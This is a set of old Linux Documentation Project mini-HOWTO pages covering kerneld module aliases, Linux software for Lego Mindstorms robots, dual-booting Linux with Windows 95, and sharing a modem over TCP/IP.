Hardware devices are usually identified through their major device numbers, e.g. ftape is char-major-27. However, if you look through the entries in /dev for char major 10, you will see that this is a bunch of very different devices, including

  • Mice of various sorts (bus mice, PS/2 mice)

  • Watchdog devices

  • The kernel random device

  • APM (Advanced Power Management) interface

These devices are controlled by several different modules, not a single one, and therefore the kerneld configuration for these misc. devices use the major number and the minor number:

        alias char-major-10-1 psaux     # For PS/2 mouse
        alias char-major-10-130 wdt     # For WDT watchdog

You need a kernel version 1.3.82 or later to use this; earlier versions do not pass the minor number to kerneld, making it impossible for kerneld to figure out which of the misc. device modules to load.

Loading SCSI drivers: The scsi_hostadapter entry

Drivers for SCSI devices consist of a driver for the SCSI host adapter (e.g. an Adaptec 1542), and a driver for the type of SCSI device you use, e.g. a hard disk, a CD-ROM or a tape-drive. All of these can be loaded as modules. However, when you want to access e.g. the CD-ROM drive that is connected to the Adaptec card, the kernel and kerneld only knows that it needs to load the sr_mod module in order to support SCSI CD-ROM's; it does not know what SCSI controller the CD-ROM is connected to, and hence does not know what module to load to support the SCSI controller.

To resolve this, you can add an entry for the SCSI driver module to your /etc/conf.modules that tells kerneld which of the many possible SCSI controller modules it should load:

        alias scd0 sr_mod               # sr_mod for SCSI CD-ROM's ...
        alias scsi_hostadapter aha1542  # ... need the Adaptec driver

This only works with kernel version 1.3.82 or later.

This works if you have only one SCSI controller. If you have more than one, things become a little more difficult.

In general, you cannot have kerneld load a driver for a SCSI host adapter, if a driver for another host adapter is already installed. You must either build both drivers into your kernel (not as modules), or load the modules manually.

Tip: There is a way that you can have kerneld load multiple SCSI drivers. James Tsiao came up with this idea:

You can easily have kerneld load the second scsi driver by setting up the dependency in your modules.dep by hand. You just need an entry like:

      /lib/modules/2.0.30/scsi/st.o: /lib/modules/2.0.30/scsi/aha1542.o

To have kerneld load the aha1542.o before it loads st.o. My machine at home is set up almost exactly like the setup above, and it works fine for all my secondary scsi devices, including tape, cd-rom, and generic scsi devices. The drawback is that depmod -a can't autodetect these dependencies, so the user needs to add them by hand, and not run depmod -a on boot up. But once it is set up, kerneld will autoload the aha1542.o just fine.

You should be aware, that this technique only works if you have different kinds of SCSI devices on the two controllers, for example, hard disks on one controller, and cd-rom drives, tapes or generic SCSI devices on another.

When loading a module isn't enough: The post-install entry

Sometimes, just loading the module is not enough to get things working. For instance, if you have your sound card compiled as a module, it is often convenient to set a certain volume level. Only problem is, the setting vanishes the next time the module is loaded. Here is a neat trick from Ben Galliart (<bgallia@luc.edu>):

The final solution required installing the setmix package and then adding the following line to my /etc/conf.modules:

post-install sound /usr/local/bin/setmix -f /etc/volume.conf

What this does is that after the sound module is loaded, kerneld runs the command indicated by the post-install sound entry. So the sound module gets configured with the command /usr/local/bin/setmix -f /etc/volume.conf.

This may be useful for other modules as well, for example the lp module can be configured with the tunelp program by adding

        post-install lp tunelp options

For kerneld to recognize these options, you will need a version of kerneld that is 1.3.69f or later.

Note: An earlier version of this mini-HOWTO mentioned a pre-remove option, that might be used to run a command just before kerneld removed a module. However, this has never worked and its use is therefore discouraged - most likely, this option will disappear in a future kerneld release. The whole issue of module settings is undergoing some change at the moment, and may look different on your system by the time you read this.

Prev | Home | Next
How does kerneld know what module to load? |  | Spying on kerneld


Spying on kerneld

If you have tried everything, and just cannot figure out what the kernel is asking kerneld to do, there is a way of seeing the requests that kerneld receives, and hence to figure out what should go into /etc/conf.modules: The kdstat utility.

This nifty little program comes with the modules-package, but it is not compiled or installed by default. To build it, go to the directory where you have the kerneld sources and type make kdstat. Then, to make kerneld display information about what it is doing, run kdstat debug and kerneld will start spewing messages on the console about what it is doing. If you then try and run the command that you want to use, you will see the kerneld requests; these can be put into /etc/conf.modules and aliased to the module needed to get the job done.

To turn off the debugging, run /sbin/kdstat nodebug.

Prev | Home | Next
Devices requiring special configuration |  | Special kerneld uses


The Mindstorms Architecture

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

2. The Mindstorms Architecture

2.1. The Basic Hardware

In case you don't know, the Lego Mindstorms Kit is a robotics kit from The Lego Group that retails for about 200 US dollars. For that, you get a lot of Lego pieces, a large brick containing a CPU, an LCD, and some connectors (known as the RCX), a couple of motors, and some light and touch sensors that allow you to interact with the outside world.

The current release of the RCX kit is version 1.5, which will be replaced in spring 2001 by RCX 2.0. For the time being, any time I say "RCX" in this document, I mean "RCX 1.x." The differences between 1.0 and 1.5 are minimal, but the changes between 1.5 and 2.0 may be substantial- the exact extent of the changes is not yet known.

If you want to learn about the hardware in more detail (think: excruciating detail, from folks who have literally disassembled their RCX's in order to see what makes them tick) there are two important web sites to visit: Russell Nelson's Lego Mindstorms Internals and Kekoa Proudfoot's RCX Internals. Without these two sites, it is unlikely that much of the software below would exist.

2.2. Standard RCX Programming

The key to understanding the various Linux options is to first understand how the Mindstorms kit operates normally with MS Windows. In a nutshell, Lego provides a MS Windows software tool that lets you (or, more likely, a 12-14 year old) graphically assemble programs for the Mindstorm, using a building-block metaphor to create code. Once the program has been "assembled" in this way, the software compiles your program into a byte-code. This byte-code is then downloaded to the robot, where the firmware of the RCX processes the byte-code and controls the machine based on the instructions in the byte-code. Besides parsing byte-code, the RCX firmware has many OS-like functions: it controls the hardware, threading, and in particular, controls the IR port that is used to communicate with the robot. It also has the ability to accept specific commands (as opposed to complete programs) from the IR port or a special remote control, and move the robot based on those commands.

The standard firmware is currently in version 1.0 (even if you buy it with RIS version 1.5). It has pretty serious limitations- for example, since each variable is stored in a register and not in RAM, there can be only 32 variables. However, you can still do some pretty cool stuff with it, and version 2.0 of the firmware (which is available now for beta from LEGO) will significantly reduce these restrictions as well as be reverse compatible with 1.x hardware.

2.3. Where the Linux Tools Fit In

The different Linux Mindstorms programs function as replacments for different portions of the software chain discussed in the previous section. Some completely replace the default firmware with their own OS-like system or language interpreter. Others generate byte-code that matches the standard Lego byte-code, and use the standard firmware to interpret the byte-code once it has been generated. Finally, some merely generate the remote control codes that allow you to control the robot from the host PC, without giving you the option to run anything on the robot itself. These also use the standard Lego firmware.

2.4. Hardware Requirements for the Linux Host

Since most of these tools are command line based, hardware requirements are minimal- basically any Linux system should run them.

The one exception is the serial port, which must be present and may not be on some newer "legacy free" machines. All communication to the RCX is done via the IR tower, which is connected to the machine via a serial port. As a result, if you have no serial port connection, you will be unable to use the RCX unless you can buy an adapter. Furthermore, under certain circumstances, there may be problems with IRQs or serial port conflicts. This is particularly likely if your modem uses /dev/ttyS0. There are three fixes to this: first, attempt to use your second serial port for the IR tower. In most cases, this should work. If that doesn't help, just don't use your modem and your RCX at the same time. If that is unacceptable, then look in your kernel compile options (under "extended dumb serial driver options") for "support for sharing serial interrupts." Make sure it is on, and recompile.

Because Macs don't have standard serial ports, LinuxPPC users may have to get an adapter and make some modifications in order to use these tools. Dave Baum, NQC author and Mac user, has written instructions on how to do this.

2.5. The CyberMaster and Scout

Besides the RIS, Lego makes two other robotics systems- the CyberMaster (available only in Europe) and the Scout. Unfortunately, I believe that only one of these tools (NQC, discussed in Section 5) will work with these other tools. Generally speaking, if you are considering buying a Scout, unless you are severely financially restrained, go ahead and buy an RCX- the additional investment is worth it.

2.6. Mindstorms Vision Command

The Vision Command kit is a new addition to the Mindstorms line that uses a USB camera to do some cool stuff. Unfortunately, because USB camera support (in particular, USB Quickcam support) is still shaky under Linux, the product is not yet supported under Linux. If you want to look into hacking it yourself, you may want to look at this page which has a driver for a similar Quickcam.

2.7. Important Note about the MS Windows CD

Because many of the programs discussed below use the official Lego firmware, you may need your MS Windows CD. You won't need to ever boot MS Windows- your uptime is safe :) However, (if you run NQC or RCX.pm, among others), you may need to mount the CD to get the firmware when your batteries die. If you want to minimize this, find the file firm0309.lgo on the CD and copy it to a safe place on your Linux partition.

Prev | Home | Next
Introduction |  | LegOS


Lego Mindstorm with Linux Mini-HOWTO

Luis Villa

luge@users.sourceforge.net

Revision History
Revision 1.1 October 29th, 2000

The Lego Group's Mindstorm Robotics Invention System (RIS) is probably the best reasonably cheap robotics kit available. However, the standard software is (unsurprisingly) MS Windows dependent. Don't despair- there are several options that allow Linux users to use their Mindstorms from within Linux. This Mini-HOWTO is intended to serve as a very brief introduction to the options available, and as a gathering point for more information.

Table of Contents
1. Introduction
1.1. Acknowledgements
1.2. Disclaimer
1.3. Copyright
2. The Mindstorms Architecture
2.1. The Basic Hardware
2.2. Standard RCX Programming
2.3. Where the Linux Tools Fit In
2.4. Hardware Requirements for the Linux Host
2.5. The CyberMaster and Scout
2.6. Mindstorms Vision Command
2.7. Important Note about the MS Windows CD
3. LegOS
3.1. Homepage
3.2. Author
3.3. Type
3.4. Language
3.5. Platforms
3.6. Description
4. Lego::RCX.pm
4.1. Homepage
4.2. Author
4.3. Type
4.4. Language
4.5. Platforms
4.6. Description
5. Not Quite C (NQC)
5.1. Homepage
5.2. Author
5.3. Type
5.4. Language
5.5. Platforms
5.6. Description
6. pbForth
6.1. Homepage
6.2. Author
6.3. Type
6.4. Language
6.5. Platforms
6.6. Description
7. TinyVM and leJOS
7.1. Homepages
7.2. Author
7.3. Type
7.4. Language
7.5. Platforms
7.6. Description
8. Remote Java APIs
8.1. Homepages
8.2. Type
8.3. Language
8.4. Platforms
8.5. Description
9. TCL RCX
9.1. Homepage
9.2. Authors
9.3. Type
9.4. Language
9.5. Platforms
9.6. Description
10. Pylnp
10.1. Homepage
10.2. Author
10.3. Type
10.4. Language
10.5. Platforms
10.6. Description
11. Other Linux Tools
11.1. LeoCAD
11.2. POVRAY
12. Other sources of information
12.1. LUGNET
12.2. The Official Mindstorms Site
12.3. The Hardware Sites
12.4. Historic Lego Bots and Construction Guide
Next
Introduction


Other sources of information

Lego Mindstorm with Linux Mini-HOWTO
Prev

12. Other sources of information

Now that you've read this, there are a number of other places on the web to further explore the Mindstorms. Most of these are not Linux specific, but most of them that have discussion forums probably have at least a few users who use Linux. Hopefully, I've stimulated you enough to explore some more. Enjoy!

12.1. LUGNET

The LEGO User Group NETwork site, http://www.lugnet.com/, has long been the center of the online Lego universe. It has great newsgroups with lots of people. In particular, the robotics forum has an avid group of very knowledgeable readers and posters. In addition, several of the options above have their own active newsgroups in the robotics/rcx/ hierarchy.

12.2. The Official Mindstorms Site

The official Mindstorms site at http://www.legomindstorms.com/ has lots of neat ideas, and even accepts NQC source for public distribution. However, don't expect gobs of info on Linux.

12.3. The Hardware Sites

I've already mentioned these, but it can't hurt. These are the most comprehensive and detailed looks at the RCX hardware that are available to folks who aren't LEGO engineers. The "original" site is http://www.crynwr.com/lego-robotics/ and the second is http://graphics.stanford.edu/~kekoa/rcx

12.4. Historic Lego Bots and Construction Guide

As you may know, the RIS was partially inspired by work done at MIT. The creator of the famous "Lego class" at MIT has a home page that includes not only links to the class (some seriously cool stuff in there!) but also to his Robot Builder's Guide, which has lots of great suggestions about actually building robots to execute all the great programs you've just learned how to write.

Prev | Home
Other Linux Tools |


Introduction

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

1. Introduction

If you've seen those cool Lego Mindstorms kits, but despaired at the big "requires Windows" stickers on the side, don't despair: there is hope for you yet. Not only is there software that allows you to program your RCX from GNU/Linux, odds are you can do it in your favorite languages: C, Perl, Java and Forth are all available for your use. This document is not intended as documentation for all of these: rather, I hope to provide highlights and contact information for each of the various Linux options, so that this document can serve as a starting point for Linux users who are considering purchasing Mindstorms kits, or for Mindstorms owners who are considering switching to Linux and wonder whether or not they can continue to use their most expensive toys :)

It is extremely important to note that while I try to keep a pretty good finger on the pulse of the online Mindstorms community, I'm not omniscient: it's quite possible that this list is incomplete. If you know of other Mindstorms options that run on Linux, please drop me a note at luge@users.sourceforge.netso that I can add to the document and share the options with others who may be considering buying a Mindstorms to use with their GNU/Linux computers.

1.1. Acknowledgements

I'd like to thank the authors of the programs listed below, both for writing them in the first place for all of us to use and also for giving the earliest version of this document a once-over.

Additionally, I'd like to thank Dave Baum, who asked me to join with him in writing the book "Extreme Mindstorms". Writing that let me spend a lot of time with the Mindstorms that I wouldn't have had otherwise, including the time that led to this HOWTO. If you are interested in exploring "power programming" for the RCX, I'd strongly suggest this book. There are some other good books out there (notably the O'Reilly book) but this one is extremely up to date, and more importantly, just about every line of code in it (as far as I know) will work with Linux. I know this is a pretty shameless plug, but I'm pretty proud of it :) You can buy the book here.

Also, Steve Baker and Matthew Miller, and many others on Lugnet, provided many helpful suggestions to several early versions of this text. Their thoughts are present in several places throughout the text, and can be assumed to be responsible for all the good stuff. :)

Finally, thought not direcly related, Michael Littman, formerly of Duke University and now of AT&T actually paid me to play with LEGO last summer. Without the opportunity that he gave me, I would not be as involved or as knowledgeable with the online Mindstorms community as I now am.

1.2. Disclaimer

The LEGO Company (http://www.lego.com/) is very, very protective of their trademarks. This document is not in any way authorized by or associated with The LEGO Company, nor do I as the author claim to have any relationship with The LEGO Company. To see more about their policy on legal usage of their trademark, check out http://www.lego.com/info/fair.asp, particularly the part (about halfway down) titled "How LEGO(r) Enthusiasts May Refer to LEGO Products on The Internet." I have attempted to abide by those guidelines faithfully; like everything else in this document, though, if you spot a violation of the guidelines, please let me know by writing me.

1.3. Copyright

This document is distributed under the LDP Copyright. You can find a copy of it here.

Prev | Home | Next
Lego Mindstorm with Linux Mini-HOWTO |  | The Mindstorms Architecture


Remote Java APIs

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

8. Remote Java APIs

8.1. Homepages

RCX Java API

RCXPort Java Interface

8.2. Type

Remote Control Libraries

8.3. Language

Java.

8.4. Platforms

GNU/Linux(?)

8.5. Description

Both of these libraries are (theoretically) cross-platform Java libraries that send signals that can be used to remotely control an RCX that is using the original firmware. Neither have been tested with Linux, and neither are even in active development, but they may be useful sources for someone, which is why I've included them here.

Prev | Home | Next
TinyVM and leJOS |  | TCL RCX


LegOS

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

3. LegOS

3.1. Homepage

http://legOS.sourceforge.net

3.2. Author

Markus L. Noga

3.3. Type

Firmware replacement.

3.4. Language

C, C++.

3.5. Platforms

Developed on x86 GNU/Linux and tested on PPC Linux. It has also been ported to Cygwin and DJGPP on MS Windows. Solaris and Irix ports have been attempted but not all tools work.

3.6. Description

LegOS is a pre-emptive multitasking POSIXish OS for the RIS. Programs are written in standard C or C++, compiled on the PC using gcc (built as a cross-compiler), and then downloaded to the RCX where they are executed. Basically, anything you can write in C or C++ (and 32K of RAM, of course ;) you can write in legOS. Interesting features include random(), floating point emulation, threading with POSIX semaphores, and the ability to store multiple programs. It also includes functionality for sending and receiving data from Linux and MS Windows PCs. This power (legOS is almost definitely the most powerful of the RCX alternative software systems) comes at a slight cost: because it uses gcc, legOS is probably the most complex system to set up of the various Linux alternatives, and requires the largest download of tools.

Prev | Home | Next
The Mindstorms Architecture |  | Lego::RCX.pm


Not Quite C (NQC)

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

5. Not Quite C (NQC)

5.1. Homepage

http://www.enteract.com/~dbaum/nqc/index.html

NQC Linux page at mattdm.org- host for NQC rpms

5.2. Author

Dave Baum

5.3. Type

Native byte-code compiler.

5.4. Language

A C-like language, called (of course) Not Quite C. Should be pretty easy to learn for anyone with even minimal coding experience.

5.5. Platforms

GNU/Linux, MS Windows, and Macintosh.

5.6. Description

NQC is a byte-code compiler that takes programs written in a C-like syntax and compiles it (on the PC) into byte-code that can be understood by the standard Lego firmware. This approach has strengths and drawbacks: for example, the standard firmware can handle only 32 variables and so NQC is similarly limited. However, you can do a surprising amount within these limitations. Setup is pretty simple and the project as a whole is very well documented. This is also probably the most popular alternative programming system, so there are a lot of people willing and ready to help out if you start using NQC.

As already mentioned, NQC is the only option (right now) that supports the Cybermaster and Scout products under Linux. Furthermore, a beta version of it works with version 2.0 of the firmware, making it the first alternative programming system to support the added functionality of the new firmware.

Prev | Home | Next
Lego::RCX.pm |  | pbForth


Other Linux Tools

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

11. Other Linux Tools

These programs aren't strictly Mindstorms related, but they may be of interest to Linux/Lego fans.

11.1. LeoCAD

LeoCAD is (as the name implies) a CAD program for constructing and renderging Lego models. There is a usable GTK port, which can be found at http://leocad.gerf.org/linux.htm. The author implies that it doesn't have full functionality, so this might make a fun project for someone.

11.2. POVRAY

Sets of Lego pieces have been created for use with the popular POVRAY 3-D rendering program. You can find the pieces at http://www.kawo1.rwth-aachen.de/~witte/projekte/lego/lego.html and POVRAY at http://www.povray.org.

Prev | Home | Next
Pylnp |  | Other sources of information


pbForth

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

6. pbForth

6.1. Homepage

http://www.hempeldesigngroup.com/lego/pbFORTH/

6.2. Author

Ralph Hempel

6.3. Type

Firmware replacement.

6.4. Language

Forth, a common script-like language usually used for embedded systems.

6.5. Platforms

GNU/Linux, MS Windows.

6.6. Description

pbForth is basically a complete Forth interpreter which replaces the standard firmware. Once it is there, you download Forth scripts to the robot, and the interpreter then interprets and runs the scripts. There are no limitations on the number of variables, and there are a number of "libraries" that are provided for functionality like interactive debugging. This is about the ultimate in simplicity for tool setup: all you have to do is download a binary, and then write code and download it. No other tools, compilers, interpreters reside on the PC. That said, there is a cross-platform TCL GUI available that simplifies downloading of scripts and interaction with the PC.

Prev | Home | Next
Not Quite C (NQC) |  | TinyVM and leJOS


Pylnp

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

10. Pylnp

10.1. Homepage

http://www.hare.demon.co.uk/lego/pylnp.html

10.2. Author

Les Smithson

10.3. Type

Remote control library.

10.4. Language

Python.

10.5. Platforms

GNU/Linux.

10.6. Description

Pylnp is a unique remote control library, not only because of it's use of Python, but also because instead of interfacing with the standard firmware, it interfaces with legOS. Because of this, it provides a great deal of customizability that the other remote control libraries may not have, since it can be used to invoke custom functions on the legOS side of the robot. The downside of this power, of course, is that you must learn legOS and write C programs to access this superior functionality.

Prev | Home | Next
TCL RCX |  | Other Linux Tools


Lego::RCX.pm

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

4. Lego::RCX.pm

4.1. Homepage

http://members.home.com/quillan/lego/rcx.pm.html

4.2. Author

John C. Quillan

4.3. Type

Remote control library.

4.4. Language

Perl.

4.5. Platforms

GNU/Linux, MS Windows, and Solaris.

4.6. Description

Lego::RCX.pm is basically a perl library for remote control of the RCX via the IR tower. It takes over the IR tower and sends commands that the standard firmware can interpret and act upon. If you already have perl installed (and who doesn't?) this is a very quick and simple way to control your robot. No installation is necessary: merely copy the files into the correct library directories, and add "use RCX.pm" to the top of your perl script. I'm not sure if this has been done yet, but it would make a ridiculously easy way to interface a robot with a CGI script.

Prev | Home | Next
LegOS |  | Not Quite C (NQC)


TCL RCX

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

9. TCL RCX

9.1. Homepage

http://www.autobahn.org/~peterp/rcx/

http://www.demailly.com/tcl/rcx/

9.2. Authors

Laurent Demailly and Peter Pletcher

9.3. Type

Native byte-code compiler and remote control library.

9.4. Language

TCL.

9.5. Platforms

GNU/Linux, Win32

9.6. Description

The TCL RCX compiler has double-edged functionality: it can either compile a TCL script into RCX byte-code, or it can remotely control the robot via either a script or an interactive TCL shell. If TCL is your language of choice, this is the optimal solution. There are two versions available: Laurent's (at demailly.com) appears to be the original of the two. However, neither appear to have been updated since 1998.

Prev | Home | Next
Remote Java APIs |  | Pylnp


TinyVM and leJOS

Lego Mindstorm with Linux Mini-HOWTO
Prev Next

7. TinyVM and leJOS

7.1. Homepages

http://tinyvm.sourceforge.net

http://sourceforge.net/projects/leJOS/

7.2. Author

Jose Solorzano

7.3. Type

Firmware replacement.

7.4. Language

Java.

7.5. Platforms

GNU/Linux, Win32

7.6. Description

As the name implies, TinyVM is indeed a small Java Virtual Machine that is downloaded to the RCX to replace the standard firmware. Java programs are then written and byte-compiled on the PC and downloaded to the RCX. A TinyVM program can use some standard Java libraries, and a library for control of sensors, motors, and such on the Mindstorm is provided. TinyVM requires an already functional java compiler.

leJOS is a similar project (in fact, it is a code fork) by the same author. It is much higher footprint (currently about 5K additional size) but also includes substantial additional functionality, including support for floating point and String constants. Other planned features include garbage collection and multiple program loading.

Prev | Home | Next
pbForth |  | Remote Java APIs


Linux + Windows 95 mini-HOWTO

Jonathon Katz

jkatz@cpio.net

Joy Yokley - Converted document from HTML to DocBook 4.1 (SGML)

2001-03-01

Revision History
Revision 1.1.1 | 2001-04-19 | Revised by: DCM
Corrected a typo.
Revision 1.1 | 2001-02-28 | Revised by: JEY
Revision 1.0 | 1998-08-15 | Revised by: JK
Revision 0.9 | 1996-10-26 | Revised by: JK
Revision 0.8 | 1996-06-25 | Revised by: JK

This document details how to install Linux on a machine that currently runs Windows 95™

Table of Contents
1. Introduction
2. Installation Options
2.1. I Have This Partition I Want to Spare!
2.2. What Is This 528M 1024th Cylinder Stuff?
3. What's Next
4. Using Your New System
4.1. Installing on a Drive with FAT32
5. Linload, What's That?
6. Installing Windows on Linux
Next
Introduction


Introduction

Linux + Windows 95 mini-HOWTO
Prev Next

1. Introduction

Many people have machines, which (unfortunately) come pre-loaded with Windows 95™. After exploring the Internet, many users find Linux, and want to run it because it is a better operating system at a much better price. There are many different issues to address when considering running both operating systems. One such issue is the fact that newer computers usually come with large EIDE hard drives, and Windows 95™ has extensions on the old FAT filesystem. Linux understands these issues and can handle these challenges in hardware and software.

Prev | Home | Next
Linux + Windows 95 mini-HOWTO |  | Installation Options


Linload, What's That?

Linux + Windows 95 mini-HOWTO
Prev Next

5. Linload, What's That?

Linload is a DOS executable which loads a kernel image from a DOS HD (or floppy) and then boots the rest of the Linux Operating System from an appropriate root partition. If you're a really good hacker, you can do a floppyless Linux install this way; however, this document will explain more traditional uses. When booting into Windows 95™ hit the F8 key when:

Starting Windows 95...

is displayed and select
Safe mode, command prompt only
Go to your directory where you put your kernel and run

C:\LINUX> linload.exe zimage root=/dev/hda2 ro

from there. If you are good with MS-DOS setups, you can code multiple AUTOEXEC.BAT and CONFIG.SYS files, so that you have a menu setup and can choose which OS to boot.

Prev | Home | Next
Using Your New System |  | Installing Windows on Linux


Installation Options

Linux + Windows 95 mini-HOWTO
Prev Next

2. Installation Options

Linux and Windows 95™ can get along quite well on the same hard disk. You can also install Linux onto a separate hard disk on the same machine. If you have the money to spare to get a second hard disk, go ahead and do that. Although it is safe and reliable to run Windows 95™ and Linux on the same hard disk, it is safer to have a second disk. Since I am a poor student (and so are most of the people I know), we are stuck with one large disk.

Your hard disk may look like this:

        +---------------------------------
C:      |  800M.... 4.2 Gig?
        |
        +---------------------------------

Windows 95™, MS-Office™, Qmodem Pro™, and whatever DOS/Windows software you have only take up around 800M + Swap (this is a big, sarcastic assumption)! You probably do not want to lose all the software you've spent a lot of time configuring and installing, so you don't want to delete this partition and start all over again.

2.1. I Have This Partition I Want to Spare!

Don't lose hope. There is a program called FIPS, which can re-partition your hard disk without destroying data. HOWEVER, make sure before you use it, that you defrag your hard disk (with the optimum defrag method). Use the defrag that came with Windows 95™, and use it in the GUI--otherwise you will loose your long file names. After you have run defrag, run FIPS and make your disk look something like the following:

             +-------------------------------------
C:           | This is your FAT/VFAT/Win95 partition
800M         |
             +------------------------------------
???          | This is empty space.
             |
             +----------------------------------

FIPS can be found at your favorite Linux FTP sites (http://sunsite.unc.edu, http://tsx-11.mit.edu, ftp.redhat.com) usually in the /pub/utils/msdos directory. If you have a CD for Linux, there is usually a \utils\msdos or \utils directory that has FIPS in it as well.

2.2. What Is This 528M 1024th Cylinder Stuff?

What exactly is the 1024th cylinder? Simply put, it is where IDE ends and EIDE begins--that's the 528M "mark" on your hard disk. Some machines used to have problems reading hard disks larger than 528M. Sometimes, those machines wouldn't let you boot another OS from a partition that started after the 1024th cylinder. Most machines no longer have this limitation. (This used to be a BIG deal.)

Prev | Home | Next
Introduction |  | What's Next


Installing Windows on Linux

Linux + Windows 95 mini-HOWTO
Prev

6. Installing Windows on Linux

In the reverse scenario (you have a working Linux box and are forced by some power to install Windows 95™), Windows 95™ WILL overwrite your MBR, and thus crush LILO. You have two options: use loadlin.exe to load your kernel, and use that to run Linux, or boot Linux using a floppy and/or loadlin, then re-install LILO.

Best of luck with your new system!

Prev | Home
Linload, What's That? |


Using Your New System

Linux + Windows 95 mini-HOWTO
Prev Next

4. Using Your New System

Linux can mount, read, and write to Window 95™'s VFAT partitions serveral ways. You can use the stock msdos filesystem support that has been included in all kernels greater than 1.0. However, using commands like:

litterbox~#: mount -t msdos /dev/hda1 /mnt

will only get you as far as filenames with the 8.3 standard. Yick! You have Windows 95™ so you can use those nifty long file names.

Some Linux users still run kernels that are ancient by Linux standards (1.2.xx). There is a module for this series of kernels so that you can read files that do not conform to the old 8.3 standard. If this is the situation you are in, FTP to ftp://mm-ftp.cs.berkeley.edu/pub/multimedia/linux/xmsdos/ and pick up a copy of README before doing anything.

Kernels after 1.3.4x have internal VFAT support that you can compile in. These kernels allow safe read/writes to your VFAT partitions.

NOTE: A Word of Caution!: If you are running a later version of Windows 95™ or Windows 98™ (i.e., possibly one that ships on computers made after June 1996 as well as the P5-MMX series), please complete the following:

Check to see what version of Windows 95™ you are really running. To do this, open up a DOS box and type
ver /r
Sample output is listed below:

C:\> ver /r

Mircosoft Windows 95 [4.00.1034]
 (C) 1981-1996 Microsoft Corporation.

Note the minor revision number. If the number is GREATER than 950 you may be running a version of the FAT partition type known as FAT32. If that is the case, you can still use Linux and Windows 95™

However, just because you are running a newer version of Windows 95™ doesn't mean that you are running FAT32. Load fdisk and use the "display partition information" option to show if you are using FAT32.

4.1. Installing on a Drive with FAT32

If you are installing Linux onto a drive with FAT32, follow the same steps as you would for installing Linux onto a Windows 95™ system. However, because FIPS doesn't support FAT32--you'll be forced to use a commercial program called Partition Magic™.

Prev | Home | Next
What's Next |  | Linload, What's That?


What's Next

Linux + Windows 95 mini-HOWTO
Prev Next

3. What's Next

Go ahead and install Linux to that new free space. If you are paranoid, when the Linux install proceedure goes to boot, you can boot into Windows 95™ and make sure it still runs OK.

When it comes to partitioning the disk, if you are like most people, you'll make a 600M Linux partition (which is pretty comfortable) as well as 80M of SWAP (which is more than enough).

At this point, you should be able to install whatever distribution of Linux you have without any trouble.

Prev | Home | Next
Installation Options |  | Using Your New System


Examples

Modem Sharing mini-HOWTO
Prev Next

5. Examples

I am using the setup as described in The Server Side and The Client Side to run Quicken on my Windows 95 ThinkPad and do home banking with the modem attached to my Linux machine. The "modem" in my case is not even a real modem, it is an emulated modem on an ISDN-So card. Quicken just sees a COM port, it doesn't know that the device attached to the COM port is actually at the other end of my Ethernet LAN, nor does it know that it is not a standard analog modem but an ISDN device which happens to understand AT commands.

Prev | Home | Next
Security Considerations |  | Feedback From Users


Feedback From Users

Modem Sharing mini-HOWTO
Prev

6. Feedback From Users

Since the first release of this document in June 1997 I have received many email messages related to the subject. In most of the messages people were seeking more help to get the modem sharing configured and running.

Recently I received an interesting feedback from Karsten.Hilbert@gmx.net. Karsten pointed out that although DialOut/IP may be a good client program he'd like to have a GPL'ed client. Karsten mentioned the Software Bazaar <http://visar.csustan.edu/bazaar/> and he volunteered to put in an offer. Here is what Karsen wrote:

     Date: Fri, 27 Aug 1999 17:46:39 +0200 (CEST)
     From: Karsten Hilbert <med94ecz@studserv.uni-leipzig.de>
     Reply-To: Karsten Hilbert <Karsten.Hilbert@gmx.net>
     To: fb@baiti.net
     Subject: Windows-Modemsharing-Howto

     Hi !

     The howto mentions DialOut/IP as a good tool to connect Windows
     clients to a linux server sharing a modem.

     I agree. However, it would be more attractive to have a free,
     GPL'ed client, wouldn't it ? This I thought and decided to offer
     some money for the implementation of such a client on the
     Software Bazaar. If someone grabs the project I will pay him a
     certain amount of money if it is completed and functional. After
     that the client would be GPL'ed.

     Now, I can only offer so much money :) But other people could
     join in and offer some, too, thus increasing the incentive.
     Wouldn't your howto be a perfect place to mention this
     possibility ?

     The Bazaar can be found at:

      http://visar.csustan.edu/bazaar/

     Thought I could mention this to you.

     Karsten

Prev | Home
Examples |


Modem Sharing mini-HOWTO

Friedemann Baitinger

fb@baiti.net

2001-08-22

Revision History
Revision v1.12 | 2001-08-22 | Revised by: gjf
Corrected author's email
Revision v1.11 | 2001-07-12 | Revised by: aeg
Converted to DocBook SGML
Revision v1.10 | 1999-09-11 | Revised by: fb
Added "Feedback from the Users" section
Revision v1.01 | 1997-06-12 | Revised by: fb
Converted source to HTML

Describes how to setup a Linux system to share a modem with other systems over a TCP/IP network.

Table of Contents
1. Legal Notice
2. The Server Side
2.1. Masqdialer Installation
2.2. Masqdialer Configuration
3. The Client Side
4. Security Considerations
5. Examples
6. Feedback From Users
>
Next
Legal Notice


Legal Notice

Modem Sharing mini-HOWTO
Prev Next

1. Legal Notice

Copyright © 1997 Friedemann Baitinger. This document may be distributed only subject to the terms and conditions set forth in the GNU Free Documentation License at < http://www.gnu.org/copyleft/fdl.html>.

Prev | Home | Next
Modem Sharing mini-HOWTO |  | The Server Side


Security Considerations

Modem Sharing mini-HOWTO
Prev Next

4. Security Considerations

If you have only one modem for all your hosts in your local area network, there is probably no reason to worry about security here. However, if any one or more of the hosts in your LAN are connected to the Internet by other means than using the modem we have just setup as a modem server, then security considerations are required, otherwise anybody can do a telnet your_host modem and dial out long distance or even international calls at will.

I suggest to install and configure tcp-wrappers in order to protect the modem server against unauthorized access.

Prev | Home | Next
The Client Side |  | Examples


The Client Side

Modem Sharing mini-HOWTO
Prev Next

3. The Client Side

At this time, only Windows client setups are described here. On the client PC, a COM-port redirector for TCP/IP is required. The best program for this purpose I have found is DialOut/IP from Tactical Software for Windows 3.1 and Windows 95. (The Windows 3.1 version can be used under Windows NT for 16-bit applications only. A 32-bit version for Windows NT is due late summer 1997.)

